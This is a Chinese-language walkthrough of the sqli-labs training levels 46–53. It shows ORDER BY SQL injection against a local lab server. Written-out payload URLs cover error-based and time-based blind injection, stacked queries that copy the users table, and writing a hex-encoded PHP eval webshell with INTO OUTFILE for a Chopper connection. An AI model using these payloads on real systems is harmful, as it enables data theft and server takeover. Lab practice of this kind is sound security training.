less-46
前置基础知识:
select * from users order by 1 desc ;使用降序(倒序)排列
select * from users order by 1 asc ;使用升序(正序)排列
select right(database(),1);从右至左输出第一个字母
select lesft(database(),1);从左至右输出第一个字母
lines terminated by 666 每行输出以666结尾
第46关和之前的不同/根据提示可以看到让输入sort,观察源码并加上输出语句,实际上输入查询的还是id:
然后输出?sort=1可以得出user表的信息,并可以排序:http://192.168.0.106:300/Less-46/?sort=1 desc
下面通过两种办法拿到数据库的其他信息:
第一种办法:报错注入
http://192.168.0.106:300/Less-46/?sort=1 and updatexml (1, concat(0x7e,database()) ,1)
其他省略
第二种办法:延时注入
http://192.168.0.106:300/Less-46/?sort=1 and if(length(database())=8 ,1,sleep(5))
二种办法都可以在database()处构造语句。
less-47
基本与46关相同,就是order by ‘1’
闭合的sql语句变成了:
第一种办法:报错注入
http://192.168.0.106:300/Less-47/?sort=1‘ and updatexml (1, concat(0x7e,database()) ,1) --+
第二种办法:延时注入
http://192.168.0.106:300/Less-47/?sort=1’ and if(length(database())=8 ,1,sleep(5))--+
less-48
基本与46关相同,但是这一关没有错误的回显,所以只能用盲注的办法:
延时盲注
http://192.168.0.106:300/Less-48/?sort=1 and if(length(database())=8 ,1,sleep(5))
先判断长度,再判断内容,以下省略
less-49
基本与46关相同,就是order by ‘1’,然后不显示报错,所以也可以用盲注的办法:
延时注入
http://192.168.0.106:300/Less-49/?sort=1‘ and if(length(database())=8 ,1,sleep(5)) --+
其他步骤相同
less46-49的其他打开方式:使用函数写入一句话木马
这里以46关为例,我们首先使用outfile函数:
http://192.168.0.105/sqli-labs/Less-46/?sort=1 and (select '<php @eval($_POST["crow"];?>') into outfile 'C:\PhpStudy\PHPTutorial\WWW\sqli-labs\Less-46\mm.php' --+
可以看到文件虽然已经有了,但是并没有一句话木马,所以也不能使用菜刀链接。
但是我们现在可以使用文章开头提到的line terminal by 语句进行输入:(最后是一句话16进制形式)
http://192.168.0.105/sqli-labs/Less-46/?sort=1 into outfile 'C:\PhpStudy\PHPTutorial\WWW\sqli-labs\Less-46\mm2.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e
可以看到,输出的每一行都写入了一句话木马,这样就可以用菜刀进行连接。
less-50
这一关大同小异:
方法一:延时注入
方法二:报错注入
方法三:写入一句话木马 以上三种方法参考上面。
方法四:使用堆叠注入创建新的users表:
http://192.168.0.105/sqli-labs/Less-50/?sort=1;create table hzk50 like users;insert into hzk50 select * from users;
方法五:使用堆叠注入写入一句话木马。
以上方法都可以,具体参考前几关的文章。
less-51
和50关基本相同,order by ’1‘语句数据包裹形式不同
方法一:延时注入
方法二:报错注入
方法三:写入一句话木马 以上三种方法参考上面。
方法四:使用堆叠注入创建新的users表。
方法五:使用堆叠注入写入一句话木马。
less-52
和50关基本相同,但是输出报错信息,所以不能用报错注入。
方法一:延时注入
方法二:写入一句话木马 以上三种方法参考上面。
方法三:使用堆叠注入创建新的users表。
方法四:使用堆叠注入写入一句话木马。
less-53
和50关基本相同,order by ’1‘语句数据包裹形式不同,而且没有输出报错信息的语句,所以不能用报错注入。
方法一:延时注入
方法二:写入一句话木马 以上三种方法参考上面。
方法三:使用堆叠注入创建新的users表。
方法四:使用堆叠注入写入一句话木马。